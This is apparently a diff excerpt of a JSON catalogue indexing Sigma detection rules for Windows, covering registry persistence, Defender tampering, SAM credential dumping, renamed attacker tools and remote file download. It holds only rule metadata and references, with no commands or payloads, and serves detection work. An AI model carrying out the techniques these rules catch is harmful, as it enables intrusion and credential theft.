"description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", + "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", + "value": "Reg Add RUN Key", + "meta": { + "refs": [ + "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", + "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/06/28", + "filename": "proc_creation_win_reg_add_run_key.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", + "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", + "value": "Add SafeBoot Keys Via Reg Utility", + "meta": { + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_reg_add_safeboot.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", + "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", + "value": "Registry Defender Exclusions", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_reg_defender_exclusion.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects reg command lines that disable certain important features of Microsoft Defender", + "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", + "value": "Registry Defender Tampering", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/22", + "filename": "proc_creation_win_reg_defender_tampering.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", + "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", + "value": "Delete SafeBoot Keys Via Reg Utility", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/08", + "filename": "proc_creation_win_reg_delete_safeboot.yml", + "author": "Nasreddine Bencherchali, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", + "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", + "value": "Delete Services Via Reg Utility", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_reg_delete_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", + "value": "Registry Dump of SAM Creds and Secrets", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/01/05", + "filename": "proc_creation_win_reg_dump_sam.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", + "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", + "value": "Enabling RDP Service via Reg.exe", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.lateral_movement", + "attack.t1021.001", + "attack.t1112" + ], + "creation_date": "2022/02/12", + "filename": "proc_creation_win_reg_enable_rdp.yml", + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", + "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", + "value": "Imports Registry Key From a File Using Reg.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" + ], + "tags": [ + "attack.t1112", + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate import of keys" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects reg command lines that disables PPL on the LSA process", + "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9", + "value": "Registry Disabling LSASS PPL", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.010" + ], + "creation_date": "2022/03/22", + "filename": "proc_creation_win_reg_lsass_ppl.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", + "value": "Service ImagePath Change with Reg.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ], + "creation_date": "2021/12/30", + "filename": "proc_creation_win_reg_service_imagepath_change.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", + "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", + "value": "Potential Remote Desktop Tunneling", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_remote_desktop_tunneling.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", + "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", + "value": "Remote File Download via Desktopimgdownldr Utility", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", + "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", + "value": "Remote PowerShell Session Host Process (WinRM)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1021.006" + ], + "creation_date": "2019/09/12", + "filename": "proc_creation_win_remote_powershell_session_process.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Legitimate usage of remote Powershell, e.g. for monitoring purposes." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", + "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", + "value": "Discovery of a System Time", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_remote_time_discovery.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate use of the system utilities to discover system time for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", + "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", + "value": "Remove Windows Defender Definition Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/07", + "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", + "value": "Renamed Binary", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/15", + "filename": "proc_creation_win_renamed_binary.yml", + "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", + "PsExec installed via Windows Store doesn't contain original filename field (False negative)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", + "value": "Highly Relevant Renamed Binary", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/15", + "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", + "author": "Matthew Green - @mgreen27, Florian Roth", + "level": "high", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", + "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", + "value": "Process Creation with Renamed BrowserCore.exe", + "meta": { + "refs": [ + "https://twitter.com/mariuszbit/status/1531631015139102720", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" + ], + "tags": [ + "attack.t1528", + "attack.t1036.003" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_renamed_browsercore.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", + "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", + "value": "Renamed FTP.EXE Binary Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_renamed_ftp.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed jusched.exe used by cobalt group", + "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", + "value": "Renamed jusched.exe", + "meta": { + "refs": [ + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/04", + "filename": "proc_creation_win_renamed_jusched.yml", + "author": "Markus Neis, Swisscom", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", + "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", + "value": "Renamed MegaSync", + "meta": { + "refs": [ + "https://redcanary.com/blog/rclone-mega-extortion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/06/22", + "filename": "proc_creation_win_renamed_megasync.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Software that illegaly integrates MegaSync in a renamed form", + "Administrators that have renamed MegaSync" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation with a renamed Msdt.exe", + "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", + "value": "Renamed Msdt.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_win_renamed_msdt.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", + "uuid": "0afbd410-de03-4078-8491-f132303cb67d", + "value": "Execution of Renamed NetSupport RAT", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_renamed_netsupport_rat.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed paexec via imphash and executable product string", + "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", + "value": "Execution of Renamed PaExec", + "meta": { + "refs": [ + "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.g0046", + "car.2013-05-009", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2019/04/17", + "filename": "proc_creation_win_renamed_paexec.yml", + "author": "Jason Lynch", + "level": "medium", + "falsepositive": [ + "Unknown imphashes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of a renamed version of the Plink binary", + "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", + "value": "Execution Of Renamed Plink Binary", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2022/06/06", + "filename": "proc_creation_win_renamed_plink.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", + "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", + "value": "Renamed PowerShell", + "meta": { + "refs": [ + "https://twitter.com/christophetd/status/1164506034720952320", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/08/22", + "filename": "proc_creation_win_renamed_powershell.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", + "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", + "value": "Renamed ProcDump", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/11/18", + "filename": "proc_creation_win_renamed_procdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Procdump illegaly bundled with legitimate software", + "Weird admins who renamed binaries (and should be investigated)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed PsExec often used by attackers or malware", + "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", + "value": "Renamed PsExec", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/05/21", + "filename": "proc_creation_win_renamed_psexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software that illegaly integrates PsExec in a renamed form", + "Administrators that have renamed PsExec and no one knows why" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", + "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", + "value": "Renamed Rundll32.exe Execution", + "meta": { + "refs": [ + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/08", + "filename": "proc_creation_win_renamed_rundll32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", + "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", + "value": "DllRegisterServer Call From Non Rundll32", + "meta": { + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", + "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", + "value": "Execution of Renamed Remote Utilities RAT (RURAT)", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.collection", + "attack.command_and_control", + "attack.discovery", + "attack.s0592" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_renamed_rurat.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", + "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", + "value": "Renamed Sysinternals Sdelete Usage", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_renamed_sdelete.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "System administrator usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", + "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", + "value": "Renamed or Portable Vmnat.exe", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1525901219247845376", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_renamed_vmnat.yml", + "author": "elhoim", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", + "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", + "value": "Renamed Whoami Execution", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/08/12", + "filename": "proc_creation_win_renamed_whoami.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", + "value": "Root Certificate Installed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_win_root_certificate_installed.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", + "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", + "value": "Remote Procedure Call Service Anomaly", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", + "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", + "https://twitter.com/cyb3rops/status/1514217991034097664", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/04/13", + "filename": "proc_creation_win_rpcss_anomalies.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown", + "Some cases in which the service spawned a werfault.exe process" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", + "uuid": 